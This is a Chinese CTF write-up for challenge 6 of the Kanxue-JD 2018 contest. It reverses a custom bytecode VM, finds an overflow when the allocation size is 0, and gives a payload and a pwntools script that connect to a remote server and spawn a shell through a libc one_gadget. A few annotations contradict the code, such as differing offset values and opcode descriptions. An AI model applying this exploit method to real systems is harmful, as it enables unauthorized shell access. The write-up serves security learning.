首页
社区
课程
招聘
[原创]看雪.京东 2018CTF-第六题分析
2018-6-27 11:22 2086

[原创]看雪.京东 2018CTF-第六题分析

2018-6-27 11:22
2086
       整个程序分下面几个过程
        1、爆破hash,过掉第一次验证。
        2、从终端读取malloc数据时,读取大小是输入的size-1,当size=0,可读取0xFF大小的数据。产生溢出。
        3、有一段自定义的指令数据,可被上面读到的数据覆盖。
        4、通过分析自定义执行指令格式,构造指令代码片段,替换原始代码片段,拿到shell。
        代码中还有个alarm(60)过了时间,程序就会自动终止,要求爆破的时间必须在1分钟内。
一、查看下程序安全属性
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
        可以看出保护基本上全开了。
二、使用one_gadget获取拿到shell地址
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
call_execve = 0x4526a;
        初步选取0x4526a地址为 getShell_offset地址。([esp+0x30]必须为0)
三、初始化函数 sub_CB5
         IDA载入后发现存在初始化数组,有2个函数sub_C80和sub_CB5,其中 sub_C80没干啥, sub_CB5函数功能如下:
        1、使用随机数对sub_15E4等函数地址进行异或,并存储在全局变量中。异或是为了混淆,存储在全局变量是为了简洁的自定义指令引擎使用的。
                sub_15E4 函数-----------------申请空间(输入申请大小,输入存储的内容)。
                sub_16AD函数-----------------显示malloc的内容(实际没有)。
                loc_1478指针  ----------------- 为自定义指令引擎使用,当用户执行完一个操作时,回到选择操作位置。
                loc_1107指针  ----------------- 自定义指令引擎起始位置,用于混淆跳转和偏移计算。
         2、下面两条指令是给自定义的指令数据初始化,主要的作用是根据用户输入跳转到相应的处理函数中。
                qword_203140 = 0x106040F01130301LL;
                qword_203148 = 0x4000161302011409LL;
unsigned __int64 sub_CB5()
{
  signed int i; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+Ch] [rbp-24h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 4; ++i )
    read(fd, (char *)qword_2030C0 - 64LL - 8 * i, 8uLL);
  unk_2030A8 = unk_203080 ^ (unsigned __int64)sub_15E4;
  unk_2030A0 = unk_203078 ^ (unsigned __int64)sub_16AD;
  unk_203098 = unk_203070 ^ (unsigned __int64)sub_1728;
  unk_203090 = unk_203068 ^ (unsigned __int64)&loc_1478;
  unk_203088 = unk_203060 ^ (unsigned __int64)&loc_1107;
  qword_203140 = 0x106040F01130301LL;
  qword_203148 = 0x4000161302011409LL;
  dword_203150 = 0;
  word_203154 = 0;
  byte_203156 = 0;
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}
四、main函数
        其中sub_E87用于屏幕输出,sub_F0C函数用于hash验证,sub_1470函数是用于内存申请、显示、释放等操作。
五、过hash验证
        先产生一个4字节的随机数,然后通过计算获得8个字节数据s,再算其hash,并将hash值打印输出,需要通过hash获得s,输入s,可通过验证。随机数产生时,每个字节x存在如下条件: 0x30 <= x < 0x5B,可爆破过验证。具体脚本如下:
def getkey(target):
	a = 0x30303030
	#a = 0x3c3b4e4b
	while (a <= 0x5A5A5A5A) :
		s1 = (0x343FD * a + 0x269EC3)&0xffffffff
		s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
		s = (s2<<32) + s1
		hash = 0
		i = 0;
		temp = s
		while(i < 8):
			hash = ((hash*0x83) + (temp&0xff))&0xffffffff	
			temp = temp >> 8
			i=i+1
		if (target == hash):
			print 'find ok'
			return s

		if ((a & 0xff) < 0x5A):
			a=a+1
			continue	
		a = (a & 0xffffff00) + 0x30;
		temp = (a & 0xff00) >> 8
		if (temp < 0x5A):
			a = a + 0x0100
			continue	
		a = (a & 0xffff00ff) + 0x3000
		temp = (a & 0xff0000) >> 16
		if (temp < 0x5A) :
			a = a + 0x010000
			continue
		a = (a & 0xff00ffff) + 0x300000;
		a = a + 0x01000000;
	return 0
六、操作函数sub_1470
1、代码混淆
       函数sub_1470通过jmp eax形式进行混淆,eax的实际位置是0x1107,可以手动将jmp eax改成 jmp 1107,但更改后会将下面指令覆盖,可在0x14E5位置更改,让其跳转到10EF位置,将0x14E5的指令" sub     rsp, 88h"挪到 10EF位置。还原后代码如下:
void *__ptr32 *sub_1470()
{
  void *__ptr32 *result; // rax
  __int64 v1; // ST08_8
  __int64 v2; // ST00_8
  __int64 v3; // [rsp+58h] [rbp-20h]
  __int64 v4; // [rsp+60h] [rbp-18h]
  unsigned int v5; // [rsp+74h] [rbp-4h]

  sub_1591();
  v5 = sub_1547();
  result = (void *__ptr32 *)v5;
  if ( v5 )
  {
    result = (void *__ptr32 *)v5;
    if ( v5 <= 3 )
    {
      v1 = qword_2030C0[~((unsigned __int8)v5 - 1LL) - 7] ^ qword_2030C0[~((unsigned __int8)v5 - 1LL) - 2];
      v4 = qword_2030C0[-11] ^ qword_2030C0[-6];
      v2 = qword_2030C0[-7] ^ qword_2030C0[-12];
      result = sub_10FE((__int64)&v3);
    }
  }
  return result;
}
void *__ptr32 *__usercall sub_10FE@<rax>(__int64 a1@<rbp>)
{
  __int64 v1; // rt1
  void *__ptr32 *result; // rax
  signed __int64 v3; // rax

  *(_QWORD *)(a1 - 64) = 0LL;
  *(_QWORD *)(a1 - 16) = 0LL;
  *(_QWORD *)(a1 - 48) = 0LL;
  *(_QWORD *)(a1 - 8) = 0LL;
  *(_QWORD *)(a1 - 40) = 0LL;
  *(_QWORD *)(a1 - 56) = 0LL;
  *(_QWORD *)(a1 - 32) = 0LL;
  *(_QWORD *)(a1 - 24) = 0LL;
  while ( 1 )
  {                                             //   qword_203140 = 0x106040F01130301LL;
                                                //   qword_203148 = 0x4000161302011409LL;
    *(_QWORD *)(a1 - 0x10) = *((char *)&qword_203140 + *(_QWORD *)(a1 - 0x40));
    v1 = *(_QWORD *)(a1 - 0x10);
    result = off_1A1C;
    switch ( a1 )
    {
      case 1LL:
        *(_QWORD *)(a1 - 0x30) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40) + 1);
        *(_QWORD *)(a1 - 0x40) += 2LL;
        break;
      case 2LL:
        *(_QWORD *)(a1 - 0x28) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 3LL:
        *(_QWORD *)(a1 - 0x38) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 4LL:
        *(_QWORD *)(a1 - 0x20) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 5LL:
        *(_QWORD *)(a1 - 0x38) -= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 6LL:
        *(_QWORD *)(a1 - 0x38) += *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 7LL:
        *(_QWORD *)(a1 - 0x38) *= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 8LL:
        *(_QWORD *)(a1 - 0x38) /= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 9LL:
        *(_QWORD *)(a1 - 0x38) ^= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 10LL:
        *(_QWORD *)(a1 - 0x38) &= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 11LL:
        *(_QWORD *)(a1 - 0x38) |= *(_QWORD *)(a1 - 32);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 12LL:
        *(_QWORD *)(a1 - 0x18) = *(_QWORD *)(a1 - 0x38) != *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 13LL:
        if ( *(_QWORD *)(a1 - 0x18) )
          v3 = *(_QWORD *)(a1 - 0x40) + 2LL;
        else
          v3 = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40));
        *(_QWORD *)(a1 - 0x40) = v3;
        break;
      case 14LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 15LL:
        *(_QWORD *)(a1 - 0x20) = *(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 16LL:
        *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x38);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 17LL:
        *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 18LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 19LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(-8LL * *(_QWORD *)(a1 - 0x30) + a1 - 0x40);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 20LL:
        *(_QWORD *)(a1 - 0x40 - 8LL * *(_QWORD *)(a1 - 0x30)) = *(_QWORD *)(a1 - 0x38);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 21LL:
        ++*(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 22LL:
        ++*(_QWORD *)(a1 - 0x40);
        JUMPOUT(__CS__, *(_QWORD *)(a1 - 0x38));
        return result;
      default:
        return result;
    }
  }
}
2、自定义执行引擎
       分析14EF,实际上是个精简的自定义指令执行引擎,具体指令格式如下;
      
1)寄存器
=============================================================================================================================
	startCodeAddr = 0x203140											  自定义指令代码开始位置
	curOffset = rbp - 0x40												存储当前执行位置索引	   
	pc = startCodeAddr+curOffset										  当前pc
	varStart = rbp - 0x40												可以修改的寄存器的基址(向上修改)
	r0 = rbp - 0x38														通用寄存器
	r1 = rbp - 0x30														通用寄存器
	r2 = rbp - 0x28														通用寄存器
	r3 = rbp - 0x20														通用寄存器
	r4 = rbp - 0x18														通用寄存器
=============================================================================================================================
操作码  			指令长度    			含义								备注
-----------------------------------------------------------------------------------------------------------------------------
	0x01		2					r1 = byte[pc + 1]					从代码段读取一个字节得r1
	0x02		1					r2 = byte[startCodeAddr + r1]		从代码段[pc + r1]读取一个字节到r2
	0x03		1					r0 = QWORD[startCodeAddr + r1]		从代码段[pc + r1]读取双字到r0
	0x04		1					r3 = QWORD[startCodeAddr + r1]		从代码段[pc + r1]读取双字到r3
	0x05		1					r0 = r0 - r3
	0x06		1					r0 = r0 + r3
	0x07		1					r0 = r0 * r3
	0x08		1					r0 = r0 / r3
	0x09		1					r0 = r0 ^ r3
	0x0A		1					r0 = r0 & r3
	0x0B		1					r0 = r0 | r3
	0x0C		1					r4 = (r0 != r3)
	0x0D		1					jnz									跳转指令
	0x0e		1					r0 = QWORD r2
	0x0f		1					r3 = QWORD r2
	0x10		1					r2 = QWORD r0
	0x11		1					r2 = QWORD r3
	0x12		1					r0 = QWORD r3
	0x13		1					r0 = QWORD[varStart - r1*8]			从堆栈中按照索引读取数据到r0	   
	0x14		1					[varStart - r1*8] = r0				将r0的内容写到堆栈中
	0x15		1					r2++
	0x16		1					call r0							 调用现实中的函数
=============================================================================================================================	
3、自定义指令数据
        字节码的指令数据地址为0x203140,并且在初始化函数中赋值为:01 03 13 01 F 04 06 01 09 14 01 02 13 16 00 40 ,下面是根据上面的指令含义对其分析:
pc = 0x203140
[varStart - 2*8] = 0x15E4		               ;根据输入索引,选择不同处理函数,这里输入为1,15E4为申请空间处理函数
01 03   r1 = byte[pc + 1] 			            ;r1=3
13      r0 = [varStart - r1*8] = 0x1107        ;自定义指令执行引擎开始位置
01 0F   r1 = byte[pc + 1]                      ;r1=0F
04      r3 = QWORD[0x203140+r1]                ;r3 = QWORD[0x203140 + 0x0f] = 0x40
06      r0 = r0 + r3                           ;0x1107 + 0x40 = 0x1147
01      r1 = byte[pc + 1]                      ;r1=9
14      [varStart - [r1]*8] = r0               ;[varStart - 0x40] = 0x1147,构造从现实函数返回的地址
01      r1 = byte[pc + 1]                      ;r1=2
13      r0 = [varStart - 2*8] = 0x15E4         ;获得要调用的现实函数地址
16      call 0x15E4                            ;调用申请空间出来函数
00      jmp 0x1478                             ;跳转主循环等待用户输入
七、漏洞发现
          程序存在 内存申请、字符拷贝、内存释放等系统调用,但是分析一遍后,没发现太多漏洞,但是发现 sub_15E4中存在一个全局变量溢出漏洞。
          sub_15E4为堆申请函数,其主要流程如下:
          1、输入申请的size
          2、判断size是否大于0x80,大于则退出,否则malloc。
          3、从终端读取size-1个数据到全局buf_2030C0中。
          4、将数据从buf_2030C0拷贝到malloc地址中。
          5、将malloc指针和size赋给全局变量203240 和203248
         这里存在一个漏洞当输入的size为0时,将从终端读取0xFF大小数据到全局变量2030C0,而前面的自定义的指令数据的位置为x203140,其与2030C0相差0x80, 构造payload,并覆盖0x203140,将我们构造的自定义指令覆盖原始的指令。
  八、漏洞利用
         自定义指令存在如下指令:
                    a) 将自定义指令数据写入到寄存器(堆栈)的指令,比如0x02\0x03\0x04相关指令
                    b)  也存在call 寄存器(堆栈)的指令。比如 0x16指令。
        因此如果将执行 getShell_addr的地址放入r0中,然后使其执行0x16指令就可以直接执行如下指令,从而拿到shell。
                    0x4526a execve("/bin/sh", rsp+0x30, environ)
 1、获取内存中的 getShell_addr地址
通过IDA调试,看下图

        可以看到在执行字节码程序时,堆栈中存在多个libc.so库的地址,比如:libc.write+0x10的地址位于 rbp - 0x40 - 0x0d*8的位置。因此我们可以通过构造自定义指令将libc.write+0x10地址读取到通用寄存器中,由于给出了libc.so,可知write+0x10的地址为:0xF72C0,因此可以计算出: get_shell_addr_offset = 0xF72C0 - 4526a =0xB2056。可以事前将 0xB2056放到payload中,然后使用0x14指令即可以使得r0 =  :get_shell_addr的真实地址。然后执行0x16指令就可以拿到shell。
2、构造payload
        1) 将[esp+0x30] = 0。
        2)  r0 = 内存中write+0x10的值。
        3)  r3 = get_shell地址与 write+0x10的偏移。
        4)  r0 = r0 - r3 =  内存 get_shell地址。
        5)  call r0 拿到shell。
       覆盖原始自定义指令的数据为:'\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00',整个pyload为:
       payload = 'A'*0x80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'
       下面是指令的具体说明:
//0x203140 = {01 03 14 01 0D 13 01 0B  04 05 16 56 20 0B 00 00} 
//初始化时,r0 = 0, pc = 0x203140
r0 = 0
pc = 0x203140

//[esp - 0x30] = 0
//[esp - 0x30] = varStart - 3*8
01 03    r1 = byte[0x203140 + 1]         ;r1=3
14       [varStart - r1*8] = r0          ;[varStart - 3*8] = [esp - 0x30] = r0 (r0=0)

//r0 = write_addr+0x10地址
01 0d    r1 = byte[pc + 1]               ;r1=0d
13       r0 = [varStart - r1*8]          ;r0 = [varStart - 0x0d*8] = write_addr+0x10

//r3 = execv_offset
01 0b    r1 = byte[pc + 1]               ;r1=0b
04       r3 = QWORD[startCodeAddr + r1]  ;r3 = *(QWORD*(0x203140+0x0b)) = 0xb2016

//r0 = r0 - r3 = execv_addr
05       r0 = r0 + r3                     

//get shell
22       call r0                         

3、脚本如下:
#!/usr/bin/python
from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
context(os='linux',arch='amd64')
print ('===============================')

io = remote('139.199.99.130',8989)
#io = process('./noheap')

payload = 'A'*0X80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'

def getkey(target):
	a = 0x30303030
	#a = 0x3c3b4e4b
	while (a <= 0x5A5A5A5A) :
		s1 = (0x343FD * a + 0x269EC3)&0xffffffff
		s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
		s = (s2<<32) + s1
		hash = 0
		i = 0;
		temp = s
		while(i < 8):
			hash = ((hash*0x83) + (temp&0xff))&0xffffffff	
			temp = temp >> 8
			i=i+1
		if (target == hash):
			print 'find ok'
			return s

		if ((a & 0xff) < 0x5A):
			a=a+1
			continue	
		a = (a & 0xffffff00) + 0x30;
		temp = (a & 0xff00) >> 8
		if (temp < 0x5A):
			a = a + 0x0100
			continue	
		a = (a & 0xffff00ff) + 0x3000
		temp = (a & 0xff0000) >> 16
		if (temp < 0x5A) :
			a = a + 0x010000
			continue
		a = (a & 0xff00ffff) + 0x300000;
		a = a + 0x01000000;
	return 0

inputString = io.recvuntil('Input')

#get hash from screen
hashStart = inputString.find('Hash:')
hashStart = hashStart+5
hashEnd = inputString.find('\n', hashStart)
aimhash = inputString[hashStart:hashEnd]
target = int(aimhash, 16)

#get inputkey by hash	
print "get hash, waiting!"
value = getkey(target)
print str(hex(value))

print 'put inputkey to server'
inputkeyPayload = p64(value)
sleep(1)
io.write(inputkeyPayload)

print 'select 1 for malloc'
io.recvuntil('Exit')
sleep(1)
io.write('1')
sleep(1)

print 'put 0  for malloc size,real can write 0xFF data to server'
io.recvuntil('Size')
sleep(1)
io.write('0')

print 'put payload data is saved at 0x2030C0'
io.recvuntil('Content')
sleep(1)
io.write(payload)
sleep(1)

print 'put 1 ,but pc will go to execv'
io.recvuntil('Exit')
sleep(2)
io.write('1')

io.interactive()

九、flag
        
       
flag{4be6c278519a61e0176463bbd17a235a3
}



[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-6-29 15:45 被oooAooo编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回